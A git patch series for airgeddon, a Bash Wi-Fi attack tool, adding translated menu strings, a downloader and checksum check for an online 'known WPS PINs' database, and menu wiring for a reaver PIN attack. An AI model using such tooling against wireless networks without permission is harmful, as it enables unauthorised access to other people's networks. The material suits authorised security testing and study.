arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" + arr["FRENCH",374]="${pending_of_translation} Impossible de trouver la base de données de fichiers locaux de codes PIN (${known_pins_dbfile}) dans le dossier de script. Il va tenter de télécharger" + arr["CATALAN",374]="${pending_of_translation} No s'ha pogut trobar el fitxer local de la base de dades de PINs (${known_pins_dbfile}) a la carpeta del script. S'intentarà descarregar" + arr["PORTUGUESE",374]="${pending_of_translation} Não foi possível localizar o banco de dados local de PINs (${known_pins_dbfile}) na pasta de script de arquivo. Ele tentará baixar" + arr["RUSSIAN",374]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) не может быть найден в папке скрипта. Будет предпринята попытка загрузить" + arr["GREEK",374]="${pending_of_translation} Τοπικό αρχείο κωδικών PIN της βάσης δεδομένων (${known_pins_dbfile}) δεν μπορεί να βρεθεί στο φάκελο σενάριο. Θα προσπαθήσει να κατεβάσετε" + + arr["ENGLISH",375]="It seems you have no internet access" + arr["SPANISH",375]="Parece que no tienes conexión a internet" + arr["FRENCH",375]="Il semble que vous ne pouvez pas vous connecter à internet" + arr["CATALAN",375]="Sembla que no tens connexió a internet" + arr["PORTUGUESE",375]="Parece que você não tem acesso à internet" + arr["RUSSIAN",375]="Судя по всему, у вас нет Интернет доступа" + arr["GREEK",375]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο" + + arr["ENGLISH",376]="Local PINs database file (${known_pins_dbfile}) was found. Anyway a check for a newer will be performed" + arr["SPANISH",376]="Se ha encontrado un fichero local de base de datos de PINs (${known_pins_dbfile}). No obstante se va a comprobar si existe uno más actualizado" + arr["FRENCH",376]="${pending_of_translation} Il a trouvé une base de données de fichiers locaux de codes PINs (${known_pins_dbfile}). Cependant, il va vérifier si l'un est plus mis à jour" + arr["CATALAN",376]="${pending_of_translation} S'ha trobat un fitxer local de base de dades de PINs (${known_pins_dbfile}). No obstant això es va a comprovar si hi ha un més actualitza" + arr["PORTUGUESE",376]="${pending_of_translation} Constatou-se um banco de dados local de arquivo de PINs (${known_pins_dbfile}). No entanto, ele verificará se existe uma mais actualizada" + arr["RUSSIAN",376]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на более новый" + arr["GREEK",376]="${pending_of_translation} Τοπικό αρχείο κωδικών PIN της βάσης δεδομένων (${known_pins_dbfile}) βρέθηκε. Τέλος πάντων μια επιταγή για ένα νεότερο θα πραγματοποιηθεί" + + arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" + arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" + arr["FRENCH",377]="${pending_of_translation} Il a été téléchargé avec succès une base de données de fichiers de mises à jour plus PINs" + arr["CATALAN",377]="${pending_of_translation} S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" + arr["PORTUGUESE",377]="${pending_of_translation} Ele foi baixado com sucesso um banco de dados de PINs mais atualizados arquivo" + arr["RUSSIAN",377]="${pending_of_translation} Файл базы данных более последнюю дату PINs была успешно загружена" + arr["GREEK",377]="${pending_of_translation} Ένα αρχείο πιο up-to-ημερομηνία των PINs της βάσης δεδομένων έχει κατεβάσει με επιτυχία" + + arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" + arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" + arr["FRENCH",378]="${pending_of_translation} Une erreur est survenue en essayant de télécharger les codes PINs de base de données de fichiers" + arr["CATALAN",378]="${pending_of_translation} S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" + arr["PORTUGUESE",378]="${pending_of_translation} Ocorreu um erro ao tentar baixar os PINs de banco de dados de arquivo" + arr["RUSSIAN",378]="${pending_of_translation} Произошла ошибка при попытке загрузить файл базы данных PINs" + arr["GREEK",378]="${pending_of_translation} Παρουσιάστηκε σφάλμα κατά την προσπάθεια να κατεβάσετε το αρχείο κωδικών PINs της βάσης δεδομένων" + + arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." + arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." + arr["FRENCH",379]="${pending_of_translation} Vérification des codes PIN de base de données de fichiers déjà fait. Il ne fera pas encore..." + arr["CATALAN",379]="${pending_of_translation} La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." + arr["PORTUGUESE",379]="${pending_of_translation} Verificando os PINs de banco de dados arquivo já feito. Ele não vai fazer de novo..." + arr["RUSSIAN",379]="${pending_of_translation} Проверка файла базы данных PINs уже сделано. Это не будет сделано еще раз..." + arr["GREEK",379]="${pending_of_translation} Έλεγχος του αρχείου κωδικών PINs της βάσης δεδομένων έχει ήδη γίνει. Δεν θα πρέπει να γίνει και πάλι..." + + arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? ${normal_color}[y/n]" + arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}[y/n]" + arr["FRENCH",380]="${pending_of_translation} Vous voulez que la prochaine fois que vous lancez cette attaque dans cette session retry? ${normal_color}[y/n]" + arr["CATALAN",380]="${pending_of_translation} ¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? ${normal_color}[y/n]" + arr["PORTUGUESE",380]="${pending_of_translation} Você quer que a próxima vez que você lançar este ataque nesta nova tentativa sessão? ${normal_color}[y/n]" + arr["RUSSIAN",380]="${pending_of_translation} Вы хотите, чтобы попробовать снова в следующий раз, когда вы запустите эту атаку для этого сеанса? ${normal_color}[y/n]" + arr["GREEK",380]="${pending_of_translation} Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή την επίθεση για τη σύνοδο αυτή; ${normal_color}[y/n]" + + arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" + arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" + arr["FRENCH",381]="${pending_of_translation} Une erreur est survenue en essayant d'accéder à la base de données fichier de contrôle de codes PIN à distance" + arr["CATALAN",381]="${pending_of_translation} S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" + arr["PORTUGUESE",381]="${pending_of_translation} Ocorreu um erro ao tentar acessar o banco de dados arquivo de checksum de PINs remotos" + arr["RUSSIAN",381]="${pending_of_translation} Произошла ошибка при попытке получить доступ к контрольной суммы файла удаленной базы данных PINs" + arr["GREEK",381]="${pending_of_translation} Παρουσιάστηκε σφάλμα κατά την προσπάθεια πρόσβασης στο αρχείο checksum του απομακρυσμένη βάση δεδομένων κωδικών PINs" + + arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" + arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" + arr["FRENCH",382]="${pending_of_translation} Les checksums des fichiers locaux et distants correspondent. Votre base de données de fichier est mis à jour PINs" + arr["CATALAN",382]="${pending_of_translation} Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" + arr["PORTUGUESE",382]="${pending_of_translation} As somas de verificação dos arquivos locais e remotos corresponder. Seu banco de dados arquivo é atualizado PINs" + arr["RUSSIAN",382]="${pending_of_translation} Контрольные суммы локальных и удаленных файлов совпадают. Ваш файл базы данных обновляется PINs" + arr["GREEK",382]="${pending_of_translation} Αθροίσματα ελέγχου των τοπικών και απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο κωδικών PINs της βάσης δεδομένων είναι up-to-ημερομηνία" + + arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." + arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." + arr["FRENCH",383]="${pending_of_translation} Il semble qu'il y ait une base de données de fichiers les plus frais PINs. Lancement du téléchargement..." + arr["CATALAN",383]="${pending_of_translation} Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." + arr["PORTUGUESE",383]="${pending_of_translation} Parece que há um banco de dados de arquivo PINs mais frescos. Ele será baixado..." + arr["RUSSIAN",383]="${pending_of_translation} Кажется, есть файл базы данных PINs более последнюю дату. Он будет загружен..." + arr["GREEK",383]="${pending_of_translation} Φαίνεται ότι υπάρχει ένα αρχείο κωδικών PINs της βάσης δεδομένων πιο up-to-ημερομηνία. Θα κατέβει..." + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -3853,7 +3956,7 @@ function monitor_option() { function check_interface_mode() { execute_iwconfig_fix - if [[ "$?" != "0" ]]; then + if [ "$?" != "0" ]; then ifacemode="(Non wifi card)" return 0 fi @@ -5205,7 +5308,7 @@ function wps_attacks_menu() { language_strings "${language}" 347 bully_attacks_dependencies[@] language_strings "${language}" 359 reaver_attacks_dependencies[@] language_strings "${language}" 348 "under_construction" #bully_attacks_dependencies[@] - language_strings "${language}" 360 "under_construction" #reaver_attacks_dependencies[@] + language_strings "${language}" 360 reaver_attacks_dependencies[@] print_simple_separator language_strings "${language}" 361 print_hint ${current_menu} @@ -5337,7 +5440,26 @@ function wps_attacks_menu() { if [ "$?" = "0" ]; then forbidden_menu_option else - under_construction_message + get_reaver_version + if [ -z "${scriptfolder}" ]; then + set_script_folder + fi + + if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + check_pins_database_file + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 373 "blue" + else + echo + language_strings "${language}" 372 "yellow" + fi + else + echo + language_strings "${language}" 379 "blue" + fi + language_strings "${language}" 115 "read" + #TODO start validations and attack fi ;; 13) @@ -8534,6 +8656,123 @@ function validate_reaver_pixiewps_version() { return 1 } +#Set the script folder var +function set_script_folder() { + + scriptfolder=${0} + + if ! [[ ${0} =~ ^/.*$ ]]; then + if ! [[ ${0} =~ ^.*/.*$ ]]; then + scriptfolder="./" + fi + fi + scriptfolder="${scriptfolder%/*}/" +} + +#Check if pins database file exist and try to download the new one if proceed +function check_pins_database_file() { + + if [ -f "${scriptfolder}${known_pins_dbfile}" ]; then + language_strings "${language}" 376 "yellow" + echo + language_strings "${language}" 287 "blue" + check_internet_access "${host_to_check_internet}" + if [ "$?" = "0" ]; then + get_local_pin_dbfile_checksum "${scriptfolder}${known_pins_dbfile}" + get_remote_pin_dbfile_checksum + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 381 "yellow" + else + echo + if [ "${local_pin_dbfile_checksum}" != "${remote_pin_dbfile_checksum}" ]; then + language_strings "${language}" 383 "yellow" + echo + download_pins_database_file + if [ "$?" = "0" ]; then + language_strings "${language}" 377 "yellow" + pin_dbfile_checked=1 + else + language_strings "${language}" 378 "yellow" + fi + else + language_strings "${language}" 382 "yellow" + pin_dbfile_checked=1 + fi + fi + else + echo + language_strings "${language}" 375 "yellow" + ask_for_pin_dbfile_download_retry + fi + return 0 + else + language_strings "${language}" 374 "yellow" + echo + language_strings "${language}" 287 "blue" + check_internet_access "${host_to_check_internet}" + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 375 "yellow" + return 1 + else + echo + download_pins_database_file + if [ "$?" = "0" ]; then + language_strings "${language}" 377 "yellow" + pin_dbfile_checked=1 + return 0 + else + language_strings "${language}" 378 "yellow" + return 1 + fi + fi + fi +} + +#Download the pins database file +function download_pins_database_file() { + + #TODO put final url after testing + remote_pindb_file=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/test/master/known_pins.db 2> /dev/null) + #remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null) + + if [ "${remote_pindb_file}" != "${curl_404_error}" ]; then + echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}" + return 0 + else + return 1 + fi +} + +#Ask for try to download pin db file again and set the var to skip it +function ask_for_pin_dbfile_download_retry() { + + ask_yesno 380 + if [ ${yesno} = "n" ]; then + pin_dbfile_checked=1 + fi +} + +#Get the checksum for local pin database file +function get_local_pin_dbfile_checksum() { + + local_pin_dbfile_checksum=$(md5sum "${1}" | awk '{print $1}') +} + +#Get the checksum for remote pin database file +function get_remote_pin_dbfile_checksum() { + + #TODO put final url after testing + remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/test/master/pindb_checksum.txt 2> /dev/null) + #remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null) + + if [ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]; then + return 0 + fi + return 1 +} + #Check for possible non Linux operating systems function non_linux_os_check() { @@ -9005,6 +9244,7 @@ function initialize_script_settings() { ywindow_edge_pixels=18 networkmanager_cmd="service network-manager restart" is_arm=0 + pin_dbfile_checked=0 } #Detect screen resolution if possible diff --git a/changelog.txt b/changelog.txt index 29d095124..2f3ad6ae2 100644 --- a/changelog.txt +++ b/changelog.txt @@ -1,3 +1,7 @@ +5.1 +Integrated online PIN database for "known WPS PINs attack" (reaver) +Some language strings changed + 5.01 WPS bruteforce PIN attacks (reaver and bully) New system for arm architecture detection @@ -8,7 +12,7 @@ Compatibility extended for hashcat v3.0 or higher 5.0 WPS attacks menu added WPS scanning based on wash tool. Self-parametrization to avoid "Bad FCS" problem -WPS Custom pin association +WPS Custom PIN association WPS Pixie Dust attacks integrated with reaver and bully Some code improvements From 11d4a74adf0c046587614f5811fceebb0cbf60de Mon Sep 17 00:00:00 2001 From: xtonousou Date: Thu, 24 Nov 2016 11:21:54 +0200 Subject: [PATCH 05/25] Added Arch Linux version and fixed punctuation on README --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a6db3b035..bc16da7d6 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,7 @@ Tested on these compatible Linux distros:
*-Gentoo 20160514 and 20160704*
*-Fedora 24*
*-Red Hat 7 (Maipo)*
-*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1, 4.8.6-1 and 4.8.8-2*
+*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1, 4.8.6-1, 4.8.8-2 and 4.8.10-1*
*-Raspbian 7 (Wheezy) and 8 (Jessie) (Raspberry Pi)*
*-OpenMandriva LX3*

@@ -145,7 +145,7 @@ Thanks to the Hackware.ru admins.
**El padrino** for Catalan translations.
**Luan** for Portuguese translations.
**MiAl** for Russian translations.
-**xtonousou** for Greek translations, beta testing, suggestions and the help received fixing code warnings and other stuff.
+**xtonousou** for Greek translations, beta testing, suggestions, the help received fixing code warnings and other stuff.

Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
From dcceb671f8aebd4495e03ccfe82bcf0450883665 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 28 Nov 2016 21:57:56 +0100 Subject: [PATCH 06/25] Finished db file attack using reaver. --- README.md | 2 +- airgeddon.sh | 492 +++++++++++++++++++++++++++++++++++++++++++++----- changelog.txt | 2 + 3 files changed, 452 insertions(+), 44 deletions(-) diff --git a/README.md b/README.md index ad8884f43..98468beb3 100644 --- a/README.md +++ b/README.md @@ -142,7 +142,7 @@ See [Changelog](changelog.txt) file to review changes. **xtonousou** for Greek translations, beta testing, suggestions and the help received fixing code warnings and other stuff.

Thanks to the "Spanish pentesting crew", the Wifislax staff, the Seguridadwireless.net, Wifi-libre.com and Lampiweb.com forum people that helped me.
-Thanks to the Hackware.ru admins. Thanks to all the people who helped me building the online PIN database for WPS. Thank you to Dominique Bongard for bringing to us Pixie Dust attacks. Thanks to Zhao Chunsheng for his wonderful algorithm.
+Thanks to the Hackware.ru admins. Thanks to all the people who helped me building the online PIN database for WPS. Thank you to Dominique Bongard for bringing to us Pixie Dust attacks. Thanks to Zhao Chunsheng and Stefan Viehböck for their wonderful algorithms.
I want to thank you too, to all developers who made and designed the third-party tools airgeddon uses.

Thank you too to other authors who inspired me with their scripts:
diff --git a/airgeddon.sh b/airgeddon.sh index 145a4f6d6..8563e1d5f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -112,6 +112,9 @@ minimum_bully_pixiewps_version="1.1" minimum_bully_verbosity4_version="1.1" known_pins_dbfile="known_pins.db" pins_dbfile_checksum="pindb_checksum.txt" +wps_default_generic_pin="12345670" +wps_attack_script_file="ag.wpsattack.sh" +wps_out_file="ag.wpsout.txt" #Repository and contact vars github_user="v1s1t0r1sh3r3" @@ -195,7 +198,7 @@ declare select_interface_hints=(246) declare language_hints=(250) declare evil_twin_hints=(254 258 264 269 309 328) declare evil_twin_dos_hints=(267 268) -declare wps_hints=(342 343 344 356 369) +declare wps_hints=(342 343 344 356 369 390) #Charset vars crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz" @@ -213,6 +216,7 @@ cyan_color="\033[1;36m" brown_color="\033[0;33m" yellow_color="\033[1;33m" pink_color="\033[1;35m" +white_color="\e[1;97m" normal_color="\e[1;0m" #Set different language text strings @@ -3152,7 +3156,7 @@ function language_strings() { arr["ENGLISH",333]="8. WPS attacks menu" arr["SPANISH",333]="8. Menú de ataques WPS" arr["FRENCH",333]="8. Menu d'attaques WPS" - arr["CATALAN",333]="${pending_of_translation} 8. Menú d'atacs WPS" + arr["CATALAN",333]="8. Menú d'atacs WPS" arr["PORTUGUESE",333]="8. Menu de ataques WPS" arr["RUSSIAN",333]="8. Меню атак на WPS" arr["GREEK",333]="8. Μενού επιθέσεων WPS" @@ -3160,7 +3164,7 @@ function language_strings() { arr["ENGLISH",334]="WPS attacks menu" arr["SPANISH",334]="Menú de ataques WPS" arr["FRENCH",334]="Menu d'attaques WPS" - arr["CATALAN",334]="${pending_of_translation} Menú d'atacs WPS" + arr["CATALAN",334]="Menú d'atacs WPS" arr["PORTUGUESE",334]="Menu de ataques WPS" arr["RUSSIAN",334]="Меню атак на WPS" arr["GREEK",334]="Μενού επιθέσεων WPS" @@ -3168,7 +3172,7 @@ function language_strings() { arr["ENGLISH",335]="Selected WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["SPANISH",335]="BSSID WPS seleccionado: ${pink_color}${wps_bssid}${normal_color}" arr["FRENCH",335]="BSSID WPS sélectionné: ${pink_color}${wps_bssid}${normal_color}" - arr["CATALAN",335]="${pending_of_translation} BSSID WPS seleccionat: ${pink_color}${wps_bssid}${normal_color}" + arr["CATALAN",335]="BSSID WPS seleccionat: ${pink_color}${wps_bssid}${normal_color}" arr["PORTUGUESE",335]="BSSID WPS selecionado: ${pink_color}${wps_bssid}${normal_color}" arr["RUSSIAN",335]="Выбран WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["GREEK",335]="Επιλεγμένο WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" @@ -3176,7 +3180,7 @@ function language_strings() { arr["ENGLISH",336]="Selected WPS channel: ${pink_color}${wps_channel}${normal_color}" arr["SPANISH",336]="Canal WPS seleccionado: ${pink_color}${wps_channel}${normal_color}" arr["FRENCH",336]="Canal WPS sélectionné: ${pink_color}${wps_channel}${normal_color}" - arr["CATALAN",336]="${pending_of_translation} Canal WPS seleecionat: ${pink_color}${wps_channel}${normal_color}" + arr["CATALAN",336]="Canal WPS seleccionat: ${pink_color}${wps_channel}${normal_color}" arr["PORTUGUESE",336]="Canal WPS selecionado: ${pink_color}${wps_channel}${normal_color}" arr["RUSSIAN",336]="Выбран WPS канал: ${pink_color}${wps_channel}${normal_color}" arr["GREEK",336]="Επιλεγμένο WPS κανάλι: ${pink_color}${wps_channel}${normal_color}" @@ -3184,7 +3188,7 @@ function language_strings() { arr["ENGLISH",337]="Selected WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- can't be used" arr["SPANISH",337]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${blue_color} <- no se puede usar" arr["FRENCH",337]="ESSID WPS sélectionné: ${pink_color}${wps_essid}${blue_color} <- ne peut pas être utilisé" - arr["CATALAN",337]="${pending_of_translation} ESSID WPS seleccionat: ${pink_color}${wps_essid}${blue_color} <- no es pot utilitzar" + arr["CATALAN",337]="ESSID WPS seleccionat: ${pink_color}${wps_essid}${blue_color} <- no es pot utilitzar" arr["PORTUGUESE",337]="ESSID WPS selecionado: ${pink_color}${wps_essid}${blue_color} <- não pode ser utilizada" arr["RUSSIAN",337]="Выбран WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- не может использоваться" arr["GREEK",337]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" @@ -3192,7 +3196,7 @@ function language_strings() { arr["ENGLISH",338]="Selected WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["SPANISH",338]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${normal_color}" arr["FRENCH",338]="ESSID WPS sélectionné: ${pink_color}${wps_essid}${normal_color}" - arr["CATALAN",338]="${pending_of_translation} ESSID WPS seleccionat: ${pink_color}${wps_essid}${normal_color}" + arr["CATALAN",338]="ESSID WPS seleccionat: ${pink_color}${wps_essid}${normal_color}" arr["PORTUGUESE",338]="ESSID WPS selecionado: ${pink_color}${wps_essid}${normal_color}" arr["RUSSIAN",338]="Выбран WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["GREEK",338]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${normal_color}" @@ -3200,7 +3204,7 @@ function language_strings() { arr["ENGLISH",339]="Selected WPS BSSID: ${pink_color}None${normal_color}" arr["SPANISH",339]="BSSID WPS seleccionado: ${pink_color}Ninguno${normal_color}" arr["FRENCH",339]="BSSID WPS sélectionné: ${pink_color}Aucun${normal_color}" - arr["CATALAN",339]="${pending_of_translation} BSSID WPS seleccionat: ${pink_color}Ningú${normal_color}" + arr["CATALAN",339]="BSSID WPS seleccionat: ${pink_color}Ningú${normal_color}" arr["PORTUGUESE",339]="BSSID WPS selecionado: ${pink_color}Nenhum${normal_color}" arr["RUSSIAN",339]="Выбран WPS BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",339]="Επιλεγμένο WPS BSSID: ${pink_color}Κανένα${normal_color}" @@ -3208,7 +3212,7 @@ function language_strings() { arr["ENGLISH",340]="Selected WPS channel: ${pink_color}None${normal_color}" arr["SPANISH",340]="Canal WPS seleccionado: ${pink_color}Ninguno${normal_color}" arr["FRENCH",340]="Canal WPS sélectionné: ${pink_color}Aucun${normal_color}" - arr["CATALAN",340]="${pending_of_translation} Canal WPS seleccionat: ${pink_color}Ningú${normal_color}" + arr["CATALAN",340]="Canal WPS seleccionat: ${pink_color}Ningú${normal_color}" arr["PORTUGUESE",340]="Canal WPS selecionado: ${pink_color}Nenhum${normal_color}" arr["RUSSIAN",340]="Выбран WPS канал: ${pink_color}Нет${normal_color}" arr["GREEK",340]="Επιλεγμένο WPS κανάλι: ${pink_color}Κανένα${normal_color}" @@ -3216,7 +3220,7 @@ function language_strings() { arr["ENGLISH",341]="Selected WPS ESSID: ${pink_color}None${normal_color}" arr["SPANISH",341]="ESSID WPS seleccionado: ${pink_color}Ninguno${normal_color}" arr["FRENCH",341]="ESSID WPS sélectionné: ${pink_color}Aucun${normal_color}" - arr["CATALAN",341]="${pending_of_translation} ESSID WPS seleccionat: ${pink_color}Ningú${normal_color}" + arr["CATALAN",341]="ESSID WPS seleccionat: ${pink_color}Ningú${normal_color}" arr["PORTUGUESE",341]="ESSID WPS selecionado: ${pink_color}Nenhum${normal_color}" arr["RUSSIAN",341]="Выбран WPS ESSID: ${pink_color}Нет${normal_color}" arr["GREEK",341]="Επιλεγμένο WPS ESSID: ${pink_color}Κανένα${normal_color}" @@ -3224,7 +3228,7 @@ function language_strings() { arr["ENGLISH",342]="Pixie Dust attack obtains PIN and password in seconds, but not all access points are affected" arr["SPANISH",342]="El ataque Pixie Dust obtiene el PIN y la clave en segundos, pero no todos los puntos de acceso son vulnerables a este ataque" arr["FRENCH",342]="L'attaque Pixie Dust permet l'obtention du PIN et du mot de passe en quelques secondes mais les points d'accès ne sont pas tous vulnérables" - arr["CATALAN",342]="${pending_of_translation} L'atac Pixie Dust obté el PIN i la clau en segons, però no tots els punts d'accés són vulnerables a aquest atac" + arr["CATALAN",342]="L'atac Pixie Dust obté el PIN i la clau en segons, però no tots els punts d'accés són vulnerables a aquest atac" arr["PORTUGUESE",342]="O ataque Pixie Dust recebe o PIN e senha em segundos, mas nem todos os pontos de acesso são vulneráveis a este ataque" arr["RUSSIAN",342]="Pixie Dust получает PIN и пароль за секунды, но не все точки доступа подвержены этой атаке" arr["GREEK",342]="Η επίθεση Pixie Dust αποκτά το PIN και τον κωδικό πρόσβασης σε δευτερόλεπτα, αλλά μερικά σημεία πρόσβασης δεν επηρεάζονται" @@ -3232,7 +3236,7 @@ function language_strings() { arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" arr["FRENCH",343]="Il faut être dans de bonnes conditions d'émission et de réception pour pouvoir mener à bien une attaque WPS. Sinon l'attaque pourrait se solder par un faux négatif" - arr["CATALAN",343]="${pending_of_translation} Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius" + arr["CATALAN",343]="Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius" arr["PORTUGUESE",343]="Para executar qualquer ataque WPS você precisa ter um bom sinal da rede alvo. Caso contrario você pode obter falsos negativos" arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания" arr["GREEK",343]="Για να εκτελεστεί επιτυχώς οποιαδήποτε επίθεση WPS, θα πρέπει να υπάρχει ισχυρό σήμα του δικτύου στόχου. Αλλιώς μπορεί να υπάρξουν ψευδώς αρνητικά αποτελέσματα" @@ -3240,7 +3244,7 @@ function language_strings() { arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point" arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso" arr["FRENCH",344]="Certains routeurs bloquent le WPS après un certain nombre de PIN erronés. Ce nombre varie selon les modèle" - arr["CATALAN",344]="${pending_of_translation} Alguns punts d'accés es bloqueja després de fallar cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés" + arr["CATALAN",344]="Alguns punts d'accés es bloquejan després de fallar un cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés" arr["PORTUGUESE",344]="Alguns pontos de acesso podem estar bloqueados depois de receber uma série de tentativas incorretas de conexão por PIN. Isso pode variar dependendo do ponto de acesso" arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN. Это зависит от конкретной точки доступа." arr["GREEK",344]="Μερικά σημεία πρόσβασης μπορεί να μπλοκαριστούν μετά από μερικές αποτυχημένες προσπάθειες σύνδεσης PIN. Μπορεί να διαφέρει ανάλογα με το σημείο πρόσβασης" @@ -3248,7 +3252,7 @@ function language_strings() { arr["ENGLISH",345]="5. (bully) Custom PIN association" arr["SPANISH",345]="5. (bully) Asociación con PIN personalizado" arr["FRENCH",345]="5. (bully) Association avec PIN personnalisé" - arr["CATALAN",345]="${pending_of_translation} 5. (bully) Associació amb PIN personalitzat" + arr["CATALAN",345]="5. (bully) Associació amb PIN personalitzat" arr["PORTUGUESE",345]="5. (bully) Associação com o PIN personalizado" arr["RUSSIAN",345]="5. (bully) Ассоциация с персонализированным PIN" arr["GREEK",345]="5. (bully) Σύνδεση με εξατομικευμένο PIN" @@ -3256,7 +3260,7 @@ function language_strings() { arr["ENGLISH",346]="7. (bully) Pixie Dust attack" arr["SPANISH",346]="7. (bully) Ataque Pixie Dust" arr["FRENCH",346]="7. (bully) Attaque Pixie Dust" - arr["CATALAN",346]="${pending_of_translation} 7. (bully) Atac Pixie Dust" + arr["CATALAN",346]="7. (bully) Atac Pixie Dust" arr["PORTUGUESE",346]="7. (bully) Ataque Pixie Dust" arr["RUSSIAN",346]="7. (bully) Атака Pixie Dust" arr["GREEK",346]="7. (bully) Επίθεση Pixie Dust" @@ -3264,7 +3268,7 @@ function language_strings() { arr["ENGLISH",347]="9. (bully) Bruteforce PIN attack" arr["SPANISH",347]="9. (bully) Ataque de fuerza bruta por PIN" arr["FRENCH",347]="9. (bully) Attaque brute force PIN" - arr["CATALAN",347]="${pending_of_translation} 9. (bully) Atac de força bruta per PIN" + arr["CATALAN",347]="9. (bully) Atac de força bruta per PIN" arr["PORTUGUESE",347]="9. (bully) Ataque de força bruta por PIN" arr["RUSSIAN",347]="9. (bully) Атака перебором PIN" arr["GREEK",347]="9. (bully) Επίθεση PIN με χρήση ωμής βίας" @@ -3272,7 +3276,7 @@ function language_strings() { arr["ENGLISH",348]="11. (bully) Known PINs database based attack" arr["SPANISH",348]="11. (bully) Ataque basado en base de datos de PINs conocidos" arr["FRENCH",348]=" 11. (bully) Attaque en utilisant un PIN de la base de données" - arr["CATALAN",348]="${pending_of_translation} 11. (bully) Atac basat en base de dades de PINs coneguts" + arr["CATALAN",348]="11. (bully) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",348]="11. (bully) Ataque com base em banco de dados de PINs conhecidos" arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных PIN" arr["GREEK",348]="11. (bully) Επίθεση με χρήση γνωστής βάσης δεδομένων PIN" @@ -3288,7 +3292,7 @@ function language_strings() { 